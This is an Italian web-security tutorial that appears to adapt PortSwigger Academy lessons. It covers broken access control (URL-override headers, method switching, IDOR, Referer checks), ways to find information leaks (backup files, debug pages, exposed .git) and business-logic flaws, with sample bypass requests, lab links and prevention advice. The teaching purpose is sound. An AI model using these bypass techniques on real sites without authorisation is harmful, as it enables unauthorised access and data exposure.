Alcune applicazioni applicano i controlli di accesso a livello della piattaforma. Lo fanno limitando l’accesso a URL specifici e metodi HTTP in base al ruolo dell’utente. Ad esempio, un’applicazione potrebbe configurare una regola come segue:

DENY: POST, /admin/deleteUser, managers

Questa regola nega l’accesso al metodo POST sull’URL /admin/deleteUser, per gli utenti nel gruppo managers. Varie cose possono andare storte in questa situazione, portando al bypass del controllo dell’accesso.

Alcuni framework di applicazione supportano varie intestazioni HTTP non standard che possono essere utilizzate per sovrascrivere l’URL nella richiesta originale, come X-Original-URL e X-Rewrite-URL. Se un sito Web utilizza rigorosi controlli front-end per limitare l’accesso in base all’URL, ma l’applicazione consente di essere sovrascritto dall’URL tramite un’intestazione di richiesta, potrebbe essere possibile bypassare i controlli di accesso utilizzando una richiesta come la seguente:

POST / HTTP/1.1
X-Original-URL: /admin/deleteUser
...

Lab-https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented

Un attacco alternativo si riferisce al metodo HTTP utilizzato nella richiesta. I controlli front-end descritti nelle sezioni precedenti limitano l’accesso in base al metodo URL e HTTP. Alcuni siti Web tollerano diversi metodi di richiesta HTTP durante l’esecuzione di un’azione. Se un utente malintenzionato può utilizzare il metodo GET (o un altro) per eseguire azioni su un URL limitato, può bypassare il controllo di accesso implementato sul livello della piattaforma.

Lab-https://portswigger.net/web-security/access-control/lab-method-based-access-control-can-be-circumvented

Controllo di broken access derivante dalle discrepanze di corrispondenza dell’URL

I siti Web possono variare nel modo in cui corrispondono rigorosamente al percorso di una richiesta in arrivo a un endpoint definito. Ad esempio, possono tollerare la capitalizzazione incoerente, quindi una richiesta a /ADMIN /DELETEUSER può ancora essere mappata all’endpoint /admin/deleteUser. Se il meccanismo di controllo dell’accesso è meno tollerante, può trattarli come due diversi endpoint e non far rispettare le restrizioni corrette di conseguenza.

Discrepanze simili possono sorgere se gli sviluppatori che utilizzano il framework Spring hanno abilitato l’opzione useSuffixPatternMatch. Ciò consente ai percorsi con un’estensione di file arbitraria di essere mappata su un endpoint equivalente senza estensione del file. In altre parole, una richiesta a /admin/deleteUser.anything corrisponderebbe comunque al modello /admin/deleteUser. Prima di Spring 5.3, questa opzione è abilitata per impostazione predefinita.

Su altri sistemi, è possibile che si verifichino discrepanze se /admin/deleteUser e /admin/deleteUser/ sono trattati come endpoint distinti. In questo caso, potresti essere in grado di bypassare i controlli di accesso aggiungendo una barra finale sul percorso.

Escalation del privilegio orizzontale

L’escalation del privilegio orizzontale si verifica se un utente è in grado di accedere alle risorse appartenenti a un altro utente, anziché alle proprie risorse di quel tipo. Ad esempio, se un dipendente può accedere ai registri di altri dipendenti e propri, allora si tratta di un’escalation del privilegio orizzontale.

Gli attacchi di escalation dei privilegi orizzontali possono utilizzare tipi simili di metodi di exploit per l’escalation del privilegio verticale. Ad esempio, un utente potrebbe accedere alla propria pagina dell’account utilizzando il seguente URL:

https://insecure-website.com/myaccount?id=123

Se un utente malintenzionato modifica il valore del parametro id a quello di un altro utente, potrebbe accedere alla pagina dell’account di un altro utente e ai dati e alle funzioni associati.

Nota

Questo è un esempio di vulnerabilità di riferimento a oggetti diretti (IDOR) insicuri. Questo tipo di vulnerabilità sorge laddove i valori dei parametri di controllo utente vengono utilizzati per accedere direttamente alle risorse o alle funzioni.

Lab-https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter

In alcune applicazioni, il parametro sfruttabile non ha un valore prevedibile. Ad esempio, invece di un numero incremento, un’applicazione potrebbe utilizzare identificatori univoci a livello globale (GUID) per identificare gli utenti. Ciò può impedire a un aggressore di indovinare o prevedere l’identificatore di un altro utente. Tuttavia, le GUID appartenenti ad altri utenti potrebbero essere divulgati altrove nell’applicazione in cui gli utenti vengono referenziati, come i messaggi dell’utente o le revisioni.

Lab-https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids

In alcuni casi, un’applicazione rileva quando all’utente non è autorizzato ad accedere alla risorsa e restituisce un reindirizzamento alla pagina di accesso. Tuttavia, la risposta contenente il reindirizzamento potrebbe includere ancora alcuni dati sensibili appartenenti all’utente mirato, quindi l’attacco ha ancora successo.

Escalation del privilegio orizzontale a verticale

Spesso, un attacco di escalation del privilegio orizzontale può essere trasformato in un’escalation del privilegio verticale, compromettendo un utente più privilegiato. Ad esempio, un’escalation orizzontale potrebbe consentire a un utente malintenzionato di ripristinare o catturare la password appartenente a un altro utente. Se l’attaccante si rivolge a un utente amministrativo e compromette il proprio account, può ottenere un accesso amministrativo e quindi eseguire un’escalation del privilegio verticale.

Un utente malintenzionato potrebbe essere in grado di accedere alla pagina dell’account di un altro utente utilizzando la tecnica di manomissione dei parametri già descritta per l’escalation del privilegio orizzontale:

https://insecure-website.com/myaccount?id=456

Se l’utente target è un amministratore dell’applicazione, l’attaccante otterrà l’accesso a una pagina dell’account amministrativo. Questa pagina potrebbe divulgare la password dell’amministratore o fornire un mezzo per modificarla o fornire accesso diretto alla funzionalità privilegiata.

Lab-https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure

Riferimenti di oggetti diretti insicuri

I riferimenti a oggetti diretti insicuri (Insecure direct object references – IDORS) sono una sottocategoria di vulnerabilità di controllo degli accessi. Gli IDOR si verificano se un’applicazione utilizza l’input fornito dall’utente per accedere direttamente agli oggetti e un utente malintenzionato può modificare l’input per ottenere un accesso non autorizzato. È stato reso popolare dalla sua apparizione nella Top Ten Owasp 2007. È solo un esempio di molti errori di implementazione che possono fornire un mezzo per aggirare i controlli di accesso.

Lab-https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references

Vulnerabilità di controllo degli accessi nei processi in più fasi

Molti siti Web implementano funzioni importanti su una serie di passaggi. Questo è comune quando:

  • una varietà di input o opzioni deve essere acquisita;
  • l’utente deve rivedere e confermare i dettagli prima dell’esecuzione dell’azione.

Ad esempio, la funzione amministrativa per aggiornare i dettagli dell’utente potrebbe coinvolgere i seguenti passaggi:

  1. caricare il modulo che contiene i dettagli per un utente specifico;
  2. inviare le modifiche;
  3. rivedere le modifiche e confermare.

A volte, un sito Web implementerà rigorosi controlli di accesso su alcuni di questi passaggi, ma ignorerà altri. Immagina un sito Web in cui i controlli di accesso vengono applicati correttamente al primo e al secondo passaggio, ma non al terzo passaggio. Il sito Web presuppone che un utente raggiunga il passaggio 3 solo se ha già completato i primi passi, che sono correttamente controllati. Un utente malintenzionato può ottenere un accesso non autorizzato alla funzione saltando i primi due passaggi e inviando direttamente la richiesta per il terzo passaggio con i parametri richiesti.

Lab-https://portswigger.net/web-security/access-control/lab-multi-step-process-with-no-access-control-on-one-step

Controllo degli accessi basato sui Referer

Alcuni siti Web basano controlli di accesso sull’intestazione del Referer inviati nella richiesta HTTP. L’intestazione del Referer può essere aggiunta alle richieste dei browser per indicare quale pagina ha avviato una richiesta.

Ad esempio, un’applicazione applica abilmente il controllo dell’accesso sulla pagina amministrativa principale /admin, ma per le sottopagine come /admin /deleteUser ispeziona solo l’intestazione del Referer. Se l’intestazione del Referer contiene l’URL principale /admin, è consentita la richiesta.

In questo caso, l’intestazione del Referer può essere completamente controllata da un aggressore. Ciò significa che possono forgiare richieste dirette alle secondarie sottopagine sensibili fornendo l’intestazione del Referer richiesto e ottenere un accesso non autorizzato.

Lab-https://portswigger.net/web-security/access-control/lab-referer-based-access-control

Controllo dell’accesso basato sulla posizione

Alcuni siti Web applicano i controlli di accesso in base alla posizione geografica dell’utente. Ciò può applicarsi, ad esempio, alle applicazioni bancarie o ai servizi dei media in cui si applicano la legislazione statale o le restrizioni aziendali. Questi controlli di accesso possono spesso essere aggirati dall’uso di proxy Web, VPN o manipolazione dei meccanismi di geolocalizzazione sul lato client.

Come prevenire le vulnerabilità del controllo degli accessi

Le vulnerabilità di controllo degli accessi possono essere prevenute adottando un approccio di difesa in profondità e applicando i seguenti principi:

  • non fare mai affidamento sull’offuscamento da solo per il controllo dell’accesso;
  • a meno che una risorsa non sia destinata a essere accessibile al pubblico, negano l’accesso per impostazione predefinita;
  • ove possibile, utilizzare un singolo meccanismo a livello di applicazione per far rispettare i controlli di accesso;
  • a livello di codice, rendere obbligatorio per gli sviluppatori dichiarare l’accesso consentito per ciascuna risorsa e negare l’accesso per impostazione predefinita;
  • controlli di accesso a controllo e test per garantire che funzionino come progettato.

Information disclosure vulnerabilities

PortSwigger Academy – Information disclosure vulnerabilities

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

In questa sezione spiegheremo le nozioni di base sulle vulnerabilità legate alla divulgazione di informazioni e descriveremo come trovarle e sfruttarle. Offriremo anche alcune indicazioni su come prevenire le vulnerabilità legate alla divulgazione di informazioni nei tuoi siti web.

Imparare a trovare e sfruttare la divulgazione delle informazioni è un’abilità vitale per qualsiasi tester. È probabile che lo incontri regolarmente e, una volta che sai come sfruttarlo in modo efficace, può aiutarti a migliorare l’efficienza dei test e consentirti di trovare bug aggiuntivi di elevata gravità.

Che cos’è la divulgazione delle informazioni?

La divulgazione di informazioni, nota anche come fuga di informazioni, avviene quando un sito Web rivela involontariamente informazioni sensibili ai propri utenti. A seconda del contesto, i siti Web possono divulgare tutti i tipi di informazioni a un potenziale utente malintenzionato, tra cui:

  • dati su altri utenti, come nomi utente o informazioni finanziarie;
  • dati commerciali o aziendali sensibili;
  • dettagli tecnici sul sito web e sulla sua infrastruttura.

I pericoli derivanti dalla fuga di dati aziendali o utente sensibili sono abbastanza ovvi, ma la divulgazione di informazioni tecniche a volte può essere altrettanto grave. Anche se alcune di queste informazioni saranno di utilità limitata, possono potenzialmente essere un punto di partenza per esporre un’ulteriore superficie di attacco, che potrebbe contenere altre vulnerabilità interessanti. La conoscenza che sarai in grado di raccogliere potrebbe persino fornire il pezzo mancante del puzzle quando cerchi di costruire attacchi complessi e ad alta gravità.

Occasionalmente, informazioni sensibili potrebbero essere divulgate incautamente agli utenti che stanno semplicemente navigando nel sito Web in modo normale. Più comunemente, tuttavia, un utente malintenzionato deve ottenere la divulgazione di informazioni interagendo con il sito Web in modi inaspettati o dannosi. Studieranno quindi attentamente le risposte del sito Web per cercare di identificare comportamenti interessanti.

Esempi di divulgazione di informazioni

Alcuni esempi fondamentali di divulgazione di informazioni sono i seguenti:

  • rivelare i nomi delle directory nascoste, la loro struttura e i loro contenuti tramite un file robots.txt o un elenco di directory;
  • fornire accesso ai file del codice sorgente tramite backup temporanei;
  • menzione esplicita dei nomi di tabelle o colonne del database nei messaggi di errore;
  • esporre inutilmente informazioni altamente sensibili, come i dettagli della carta di credito;
  • chiavi API hardcoding, indirizzi IP, credenziali del database e così via nel codice sorgente;
  • suggerendo l’esistenza o l’assenza di risorse, nomi utente e così via attraverso sottili differenze nel comportamento dell’applicazione.

In questo argomento imparerai come trovare e sfruttare alcuni di questi esempi e altro ancora.

Come nascono le vulnerabilità legate alla divulgazione delle informazioni?

Le vulnerabilità legate alla divulgazione di informazioni possono presentarsi in innumerevoli modi diversi, ma queste possono essere classificate a grandi linee come segue:

  • Mancata rimozione dei contenuti interni dai contenuti pubblici. Ad esempio, i commenti degli sviluppatori nel markup sono talvolta visibili agli utenti nell’ambiente di produzione.
  • Configurazione non sicura del sito web e delle tecnologie correlate. Ad esempio, la mancata disabilitazione delle funzionalità di debug e diagnostica può talvolta fornire agli aggressori strumenti utili per aiutarli a ottenere informazioni sensibili. Le configurazioni predefinite possono anche rendere vulnerabili i siti Web, ad esempio visualizzando messaggi di errore eccessivamente dettagliati.
  • Design e comportamento difettosi dell’applicazione. Ad esempio, se un sito Web restituisce risposte distinte quando si verificano diversi stati di errore, ciò può anche consentire agli aggressori di enumerare dati sensibili, come credenziali utente valide.

Qual è l’impatto delle vulnerabilità legate alla divulgazione delle informazioni?

Le vulnerabilità nella divulgazione di informazioni possono avere un impatto sia diretto che indiretto a seconda dello scopo del sito web e, quindi, delle informazioni che un utente malintenzionato è in grado di ottenere. In alcuni casi, il solo atto di divulgazione di informazioni sensibili può avere un impatto elevato sulle parti interessate. Ad esempio, un negozio online che divulga i dati della carta di credito dei propri clienti potrebbe avere gravi conseguenze.

D’altro canto, la fuga di informazioni tecniche, come la struttura delle directory o i framework di terze parti utilizzati, potrebbe avere un impatto diretto minimo o nullo. Tuttavia, nelle mani sbagliate, queste potrebbero rivelarsi le informazioni chiave necessarie per realizzare numerosi altri exploit. La gravità in questo caso dipende da ciò che l’aggressore è in grado di fare con queste informazioni.

Come valutare la gravità delle vulnerabilità legate alla divulgazione delle informazioni

Sebbene l’impatto finale possa essere potenzialmente molto grave, è solo in circostanze specifiche che la divulgazione di informazioni costituisce di per sé un problema di elevata gravità. Durante i test, in particolare, la divulgazione di informazioni tecniche è spesso interessante solo se si è in grado di dimostrare come un utente malintenzionato potrebbe utilizzarle per fare qualcosa di dannoso.

Ad esempio, sapere che un sito Web utilizza una particolare versione del framework è di utilità limitata se tale versione è completamente aggiornata. Tuttavia, queste informazioni diventano significative quando il sito Web utilizza una versione precedente che contiene una vulnerabilità nota. In questo caso, eseguire un attacco devastante potrebbe essere semplice come applicare un exploit documentato pubblicamente.

È importante esercitare il buon senso quando si scopre che vengono divulgate informazioni potenzialmente sensibili. È probabile che dettagli tecnici minori possano essere scoperti in numerosi modi su molti dei siti Web testati. Pertanto, l’attenzione principale dovrebbe essere rivolta all’impatto e alla sfruttabilità delle informazioni trapelate, non solo alla presenza della divulgazione di informazioni come problema a sé stante. L’ovvia eccezione a ciò avviene quando le informazioni trapelate sono così sensibili da meritare attenzione di per sé.

Come prevenire le vulnerabilità legate alla divulgazione di informazioni

Impedire completamente la divulgazione delle informazioni è complicato a causa dell’enorme varietà di modi in cui può verificarsi. Tuttavia, esistono alcune best practice generali che puoi seguire per ridurre al minimo il rischio che questo tipo di vulnerabilità si insinui nei tuoi siti web.

  • Assicurati che tutti coloro che sono coinvolti nella realizzazione del sito web siano pienamente consapevoli di quali informazioni siano considerate sensibili. A volte informazioni apparentemente innocue possono essere molto più utili per un utente malintenzionato di quanto si creda. Evidenziare questi pericoli può aiutare a garantire che le informazioni sensibili vengano gestite in modo più sicuro in generale dalla tua organizzazione.
  • Controlla qualsiasi codice per la potenziale divulgazione di informazioni come parte del tuo QA o dei processi di creazione. Dovrebbe essere relativamente semplice automatizzare alcune delle attività associate, come l’eliminazione dei commenti degli sviluppatori.
  • Utilizzare il più possibile messaggi di errore generici. Non fornire inutilmente agli aggressori indizi sul comportamento dell’applicazione.
  • Ricontrolla che tutte le funzionalità di debug o diagnostica siano disabilitate nell’ambiente di produzione.
  • Assicurati di comprendere appieno le impostazioni di configurazione e le implicazioni sulla sicurezza di qualsiasi tecnologia di terze parti che implementi. Prenditi il ​​tempo necessario per indagare e disattivare eventuali funzionalità e impostazioni di cui non hai effettivamente bisogno.

Come individuare e sfruttare le vulnerabilità legate alla divulgazione di informazioni

In questa sezione forniremo consigli pratici su alcune tecniche e strumenti che è possibile utilizzare per identificare la divulgazione di informazioni in un’ampia gamma di contesti. Abbiamo anche fornito diversi laboratori in modo che tu possa esercitarti nell’estrazione di diversi tipi di informazioni che potrebbero essere utilizzate come parte di un ulteriore attacco.

  • test per le vulnerabilità legate alla divulgazione di informazioni;
  • fonti comuni di divulgazione delle informazioni LABS;

Come testare le vulnerabilità legate alla divulgazione di informazioni

In generale, è importante non sviluppare la “visione a tunnel” durante i test. In altre parole, dovresti evitare di concentrarti troppo su una particolare vulnerabilità. I dati sensibili possono essere divulgati ovunque, quindi è importante non perdere nulla che potrebbe essere utile in seguito. Troverai spesso dati sensibili durante i test per qualcos’altro. Un’abilità chiave è essere in grado di riconoscere informazioni interessanti quando e dove le trovi.

Di seguito sono riportati alcuni esempi di tecniche e strumenti di alto livello che è possibile utilizzare per identificare le vulnerabilità legate alla divulgazione di informazioni durante i test.

  • Fuzzing
  • Utilizzando Burp Scanner
  • Utilizzando gli engagement tools di Burp
  • Risposte informative ingegneristiche

Fuzzing

Se identifichi parametri interessanti, puoi provare a inviare tipi di dati inaspettati e stringhe fuzz appositamente predisposte per vedere quale effetto ha. Presta molta attenzione; sebbene le risposte a volte rivelino esplicitamente informazioni interessanti, possono anche suggerire in modo più sottile il comportamento dell’applicazione. Ad esempio, potrebbe trattarsi di una leggera differenza nel tempo impiegato per elaborare la richiesta. Anche se il contenuto di un messaggio di errore non rivela nulla, a volte il fatto che si sia verificato un caso di errore invece di un altro è di per sé un’informazione utile.

Puoi automatizzare gran parte di questo processo utilizzando strumenti come Burp Intruder. Ciò offre numerosi vantaggi. In particolare, puoi:

  • aggiungere le posizioni del payload ai parametri e utilizzare elenchi di parole predefiniti di stringhe fuzz per testare un volume elevato di input diversi in rapida successione;
  • identificare facilmente le differenze nelle risposte confrontando codici di stato HTTP, tempi di risposta, lunghezze e così via;
  • utilizzare le regole di corrispondenza grep per identificare rapidamente le occorrenze di parole chiave, come error, invalid, SELECT, SQL e così via;
  • applicare le regole di estrazione grep per estrarre e confrontare il contenuto di elementi interessanti all’interno delle risposte.

Puoi anche utilizzare l’estensione Logger++, disponibile nello store BApp. Oltre a registrare richieste e risposte da tutti gli strumenti di Burp, ti consente di definire filtri avanzati per evidenziare le voci interessanti. Questa è solo una delle tante estensioni Burp che possono aiutarti a trovare tutti i dati sensibili trapelati dal sito web.

Utilizzando Burp Scanner

Gli utenti di Burp Suite Professional hanno il vantaggio di Burp Scanner. Ciò fornisce funzionalità di scansione in tempo reale per il controllo degli elementi durante la navigazione oppure puoi pianificare scansioni automatizzate per eseguire la scansione e controllare il sito di destinazione per tuo conto. Entrambi gli approcci contrassegneranno automaticamente molte vulnerabilità legate alla divulgazione di informazioni. Ad esempio, Burp Scanner ti avviserà se trova informazioni sensibili come chiavi private, indirizzi e-mail e numeri di carta di credito in una risposta. Identificherà inoltre eventuali file di backup, elenchi di directory e così via.

Utilizzando gli engagement tools di Burp

Burp fornisce diversi engagement tools che puoi utilizzare per trovare più facilmente informazioni interessanti nel sito Web di destinazione. Puoi accedere agli engagement tools dal menu contestuale: fai semplicemente clic con il pulsante destro del mouse su qualsiasi messaggio HTTP, voce Burp Proxy o elemento nella mappa del sito e vai su “Engagement tools”.

I seguenti strumenti sono particolarmente utili in questo contesto.

Ricerca

Puoi utilizzare questo strumento per cercare qualsiasi espressione all’interno dell’elemento selezionato. Puoi ottimizzare i risultati utilizzando varie opzioni di ricerca avanzata, come la ricerca regex o la ricerca negativa. Ciò è utile per trovare rapidamente occorrenze (o assenze) di specifiche parole chiave di interesse.

Trova commenti

Puoi utilizzare questo strumento per estrarre rapidamente eventuali commenti degli sviluppatori trovati nell’elemento selezionato. Fornisce inoltre schede per accedere immediatamente al ciclo di richiesta/risposta HTTP in cui è stato trovato ciascun commento.

Scopri i contenuti

Puoi utilizzare questo strumento per identificare contenuti e funzionalità aggiuntivi non collegati ai contenuti visibili del sito web. Questo può essere utile per trovare directory e file aggiuntivi che non necessariamente verranno visualizzati automaticamente nella mappa del sito.

Risposte informative ingegneristiche

I messaggi di errore dettagliati a volte possono rivelare informazioni interessanti durante il normale flusso di lavoro dei test. Tuttavia, studiando il modo in cui i messaggi di errore cambiano in base ai tuoi input, puoi fare un ulteriore passo avanti. In alcuni casi, sarai in grado di manipolare il sito web per estrarre dati arbitrari tramite un messaggio di errore.

Esistono numerosi metodi per farlo a seconda dello scenario particolare che incontri. Un esempio comune è fare in modo che la logica dell’applicazione tenti un’azione non valida su un elemento di dati specifico. Ad esempio, l’invio di un valore di parametro non valido potrebbe portare a un’analisi dello stack o a una risposta di debug che contiene dettagli interessanti. A volte è possibile che i messaggi di errore rivelino il valore dei dati desiderati nella risposta.

Fonti comuni di divulgazione delle informazioni

La divulgazione di informazioni può avvenire in un’ampia varietà di contesti all’interno di un sito web. Di seguito sono riportati alcuni esempi comuni di luoghi in cui è possibile verificare se vengono esposte informazioni sensibili.

  • File per crawler web
  • Elenchi di directory
  • Commenti degli sviluppatori
  • Messaggi di errore
  • Debug dei dati
  • Pagine dell’account utente
  • File di backup
  • Configurazione non sicura
  • Cronologia del controllo della versione

File per crawler web

Molti siti Web forniscono file in /robots.txt e /sitemap.xml per aiutare i crawler a navigare nel sito. Tra l’altro, questi file spesso elencano directory specifiche che i crawler dovrebbero ignorare, ad esempio perché potrebbero contenere informazioni riservate.

Dato che questi file non sono solitamente collegati all’interno del sito web, potrebbero non apparire immediatamente nella mappa del sito di Burp. Tuttavia, vale la pena provare a navigare manualmente su /robots.txt o /sitemap.xml per vedere se trovi qualcosa di utile.

Elenchi di directory

I server Web possono essere configurati per elencare automaticamente il contenuto delle directory che non dispongono di una pagina indice presente. Ciò può aiutare un utente malintenzionato consentendogli di identificare rapidamente le risorse in un determinato percorso e procedere direttamente all’analisi e all’attacco di tali risorse. Aumenta in particolare l’esposizione dei file sensibili all’interno della directory che non devono essere accessibili agli utenti, come file temporanei e dump di arresti anomali.

Gli stessi elenchi di directory non rappresentano necessariamente una vulnerabilità della sicurezza. Tuttavia, se anche il sito Web non riesce a implementare un adeguato controllo degli accessi, la divulgazione dell’esistenza e dell’ubicazione delle risorse sensibili in questo modo rappresenta chiaramente un problema.

Commenti degli sviluppatori

Durante lo sviluppo, a volte vengono aggiunti commenti HTML in linea al markup. Questi commenti vengono in genere rimossi prima che le modifiche vengano distribuite nell’ambiente di produzione. Tuttavia, a volte i commenti possono essere dimenticati, persi o addirittura lasciati deliberatamente perché qualcuno non era pienamente consapevole delle implicazioni sulla sicurezza. Sebbene questi commenti non siano visibili sulla pagina renderizzata, è possibile accedervi facilmente utilizzando Burp o anche gli strumenti di sviluppo integrati nel browser.

Talvolta questi commenti contengono informazioni utili a un utente malintenzionato. Ad esempio, potrebbero suggerire l’esistenza di directory nascoste o fornire indizi sulla logica dell’applicazione.

Messaggi di errore

Una delle cause più comuni di divulgazione di informazioni sono i messaggi di errore dettagliati. Come regola generale, dovresti prestare molta attenzione a tutti i messaggi di errore che incontri durante il controllo.

Il contenuto dei messaggi di errore può rivelare informazioni su quale input o tipo di dati è previsto da un determinato parametro. Questo può aiutarti a restringere il campo dell’attacco identificando i parametri sfruttabili. Potrebbe anche semplicemente impedirti di perdere tempo cercando di iniettare payload che semplicemente non funzioneranno.

Messaggi di errore dettagliati possono anche fornire informazioni sulle diverse tecnologie utilizzate dal sito web. Ad esempio, potrebbero nominare esplicitamente un motore di modello, un tipo di database o un server utilizzato dal sito Web, insieme al numero di versione. Queste informazioni possono essere utili perché puoi cercare facilmente eventuali exploit documentati che potrebbero esistere per questa versione. Allo stesso modo, puoi verificare se sono presenti errori di configurazione comuni o impostazioni predefinite pericolose che potresti essere in grado di sfruttare. Alcuni di questi potrebbero essere evidenziati nella documentazione ufficiale.

Potresti anche scoprire che il sito Web utilizza una sorta di framework open source. In questo caso, puoi studiare il codice sorgente disponibile al pubblico, che è una risorsa inestimabile per costruire i tuoi exploit.

Le differenze tra i messaggi di errore possono anche rivelare un diverso comportamento dell’applicazione che si verifica dietro le quinte. Osservare le differenze nei messaggi di errore è un aspetto cruciale di molte tecniche, come l’iniezione SQL, l’enumerazione dei nomi utente e così via.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages

Debug dei dati

A scopo di debug, molti siti Web generano messaggi di errore e log personalizzati che contengono grandi quantità di informazioni sul comportamento dell’applicazione. Sebbene queste informazioni siano utili durante lo sviluppo, sono anche estremamente utili per un utente malintenzionato se trapelano nell’ambiente di produzione.

I messaggi di debug a volte possono contenere informazioni vitali per lo sviluppo di un attacco, tra cui:

  • valori per variabili di sessione chiave che possono essere manipolate tramite input dell’utente;
  • nomi host e credenziali per i componenti back-end;
  • nomi di file e directory sul server;
  • chiavi utilizzate per crittografare i dati trasmessi tramite il client.

Talvolta le informazioni di debug possono essere registrate in un file separato. Se un utente malintenzionato riesce ad accedere a questo file, può fungere da utile riferimento per comprendere lo stato di runtime dell’applicazione. Può anche fornire diversi indizi su come fornire input elaborati per manipolare lo stato dell’applicazione e controllare le informazioni ricevute.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page

Pagine dell’account utente

Per loro stessa natura, il profilo o la pagina dell’account di un utente contiene solitamente informazioni sensibili, come l’indirizzo e-mail, il numero di telefono, la chiave API e così via. Poiché normalmente gli utenti hanno accesso solo alla pagina del proprio account, ciò non rappresenta di per sé una vulnerabilità. Tuttavia, alcuni siti Web contengono difetti logici che potenzialmente consentono a un utente malintenzionato di sfruttare queste pagine per visualizzare i dati di altri utenti.

Ad esempio, considera un sito Web che determina quale pagina dell’account utente caricare in base a un parametro utente.

GET /user/personal-info?user=carlos

La maggior parte dei siti Web adotta misure per impedire a un utente malintenzionato di modificare semplicemente questo parametro per accedere alle pagine degli account di utenti arbitrari. Tuttavia, a volte la logica per caricare singoli elementi di dati non è così solida.

Un utente malintenzionato potrebbe non essere in grado di caricare interamente la pagina dell’account di un altro utente, ma la logica per recuperare e visualizzare l’indirizzo e-mail registrato dell’utente, ad esempio, potrebbe non verificare che il parametro utente corrisponda all’utente attualmente connesso. In questo caso , la semplice modifica del parametro utente consentirebbe a un utente malintenzionato di visualizzare indirizzi email di utenti arbitrari sulla pagina del proprio account.

Esamineremo questo tipo di vulnerabilità in modo più dettagliato quando tratteremo il controllo degli accessi e le vulnerabilità IDOR.

Divulgazione del codice sorgente tramite file di backup

Ottenere l’accesso al codice sorgente rende molto più semplice per un utente malintenzionato comprendere il comportamento dell’applicazione e costruire attacchi ad alta gravità. I dati sensibili a volte sono addirittura codificati all’interno del codice sorgente. Esempi tipici di ciò includono chiavi API e credenziali per l’accesso ai componenti back-end.

Se riesci a identificare che viene utilizzata una particolare tecnologia open source, ciò fornisce un facile accesso a una quantità limitata di codice sorgente.

Occasionalmente, è anche possibile fare in modo che il sito web esponga il proprio codice sorgente. Durante la mappatura di un sito Web, potresti scoprire che ad alcuni file di codice sorgente viene fatto riferimento esplicitamente. Sfortunatamente, richiedendoli di solito non si rivela il codice stesso. Quando un server gestisce file con una particolare estensione, come .php, in genere esegue il codice, anziché semplicemente inviarlo al client come testo. Tuttavia, in alcune situazioni, puoi indurre un sito Web a restituire il contenuto del file. Ad esempio, gli editor di testo spesso generano file di backup temporanei mentre il file originale viene modificato. Questi file temporanei vengono solitamente indicati in qualche modo, ad esempio aggiungendo una tilde (~) al nome del file o aggiungendo un’estensione di file diversa. La richiesta di un file di codice utilizzando un’estensione di file di backup a volte può consentire di leggere il contenuto del file nella risposta.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files

Una volta che un utente malintenzionato ha accesso al codice sorgente, questo può rappresentare un enorme passo avanti verso la possibilità di identificare e sfruttare ulteriori vulnerabilità che altrimenti sarebbero quasi impossibili. Uno di questi esempi è la deserializzazione non sicura. Esamineremo questa vulnerabilità più avanti in un argomento dedicato.

Divulgazione di informazioni a causa di una configurazione non sicura

I siti Web talvolta sono vulnerabili a causa di una configurazione errata. Ciò è particolarmente comune a causa dell’uso diffuso di tecnologie di terze parti, la cui vasta gamma di opzioni di configurazione non è necessariamente ben compresa da coloro che le implementano.

In altri casi, gli sviluppatori potrebbero dimenticare di disabilitare varie opzioni di debug nell’ambiente di produzione. Ad esempio, il metodo HTTP TRACE è progettato per scopi diagnostici. Se abilitato, il server web risponderà alle richieste che utilizzano il metodo TRACE riportando nella risposta l’esatta richiesta ricevuta. Questo comportamento è spesso innocuo, ma occasionalmente porta alla divulgazione di informazioni, come il nome delle intestazioni di autenticazione interne che potrebbero essere aggiunte alle richieste dai proxy inversi.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass

Cronologia del controllo della versione

Praticamente tutti i siti Web sono sviluppati utilizzando una qualche forma di sistema di controllo della versione, come Git. Per impostazione predefinita, un progetto Git archivia tutti i dati di controllo della versione in una cartella denominata .git. Occasionalmente, i siti Web espongono questa directory nell’ambiente di produzione. In questo caso, potresti riuscire ad accedervi semplicemente accedendo a /.git.

Anche se spesso non è pratico sfogliare manualmente la struttura e i contenuti dei file grezzi, esistono vari metodi per scaricare l’intera directory .git. Puoi quindi aprirlo utilizzando l’installazione locale di Git per accedere alla cronologia del controllo della versione del sito Web. Ciò può includere registri contenenti modifiche apportate e altre informazioni interessanti.

Questo potrebbe non darti accesso al codice sorgente completo, ma confrontare le differenze ti consentirà di leggere piccoli frammenti di codice. Come con qualsiasi codice sorgente, potresti anche trovare dati sensibili codificati all’interno di alcune delle righe modificate.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history

Business logic vulnerabilities

PortSwigger Academy – Business logic vulnerabilities

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

In questa sezione introdurremo il concetto di vulnerabilità della logica aziendale e spiegheremo come possono verificarsi a causa di presupposti errati sul comportamento degli utenti. Discuteremo il potenziale impatto dei difetti logici e come sfruttarli. Infine, forniremo alcune best practice generali per aiutarti a prevenire questo tipo di difetti logici che si verificano nelle tue applicazioni.

Quali sono le vulnerabilità della logica aziendale?

Le vulnerabilità della logica aziendale sono difetti nella progettazione e nell’implementazione di un’applicazione che consentono a un utente malintenzionato di provocare comportamenti non desiderati. Ciò consente potenzialmente agli aggressori di manipolare funzionalità legittime per raggiungere un obiettivo dannoso. Questi difetti sono generalmente il risultato dell’incapacità di anticipare gli stati insoliti dell’applicazione che potrebbero verificarsi e, di conseguenza, dell’incapacità di gestirli in modo sicuro.

Nota

In questo contesto, il termine “logica di business” si riferisce semplicemente all’insieme di regole che definiscono il funzionamento dell’applicazione. Poiché queste regole non sono sempre direttamente correlate a un’azienda, le vulnerabilità associate sono note anche come “vulnerabilità della logica dell’applicazione” o semplicemente “difetti logici”.

